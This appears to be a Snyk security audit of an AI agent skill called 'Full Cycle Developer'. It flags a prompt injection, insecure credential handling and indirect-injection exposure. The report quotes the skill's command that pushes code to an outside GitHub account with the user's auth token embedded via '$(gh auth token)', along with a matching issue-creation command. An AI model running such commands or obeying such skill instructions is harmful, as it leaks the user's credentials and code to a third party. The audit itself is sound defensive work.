Full Cycle Developer

Fail

Audited by Snyk on Mar 13, 2026

Risk Level: CRITICAL
Full Analysis

CRITICAL E004: Prompt injection detected in skill instructions.

  • Potential prompt injection detected (high risk: 1.00). The prompt includes deceptive/out-of-scope instructions to push and create issues using a hardcoded external GitHub account and an embedded auth token (e.g., git push https://KoshelevDV:$(gh auth token)@github.com/KoshelevDV/.git and gh issue create --repo KoshelevDV/), which directs code and credentials to an unrelated external owner and thus constitutes a hidden/exfiltration instruction outside the skill's stated purpose.

HIGH W007: Insecure credential handling detected in skill instructions.

  • Insecure credential handling detected (high risk: 1.00). The prompt explicitly embeds a GitHub auth token into a git push URL (git push https://KoshelevDV:$(gh auth token)@github.com/...), an instruction that requires or encourages placing a secret on the command line (and could cause the LLM to include the token verbatim), which is an insecure credential-handling pattern.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

  • Third-party content exposure detected (high risk: 0.80). The skill's required workflow (SKILL.md Step 1-3: "Загрузить TASK_CONTEXT из issue или описания" and setup/docs examples that read GitHub/GitLab issue/MR content) instructs subagents to fetch and interpret user-generated issue/PR text, which is untrusted third‑party content that directly drives implementation and tool actions.

Issues (3)

E004
CRITICAL

Prompt injection detected in skill instructions.

W007
HIGH

Insecure credential handling detected in skill instructions.

W011
MEDIUM

Third-party content exposure detected (indirect prompt injection risk).

Audit Metadata
Risk Level
CRITICAL
Analyzed
Mar 13, 2026, 06:57 AM
Issues
3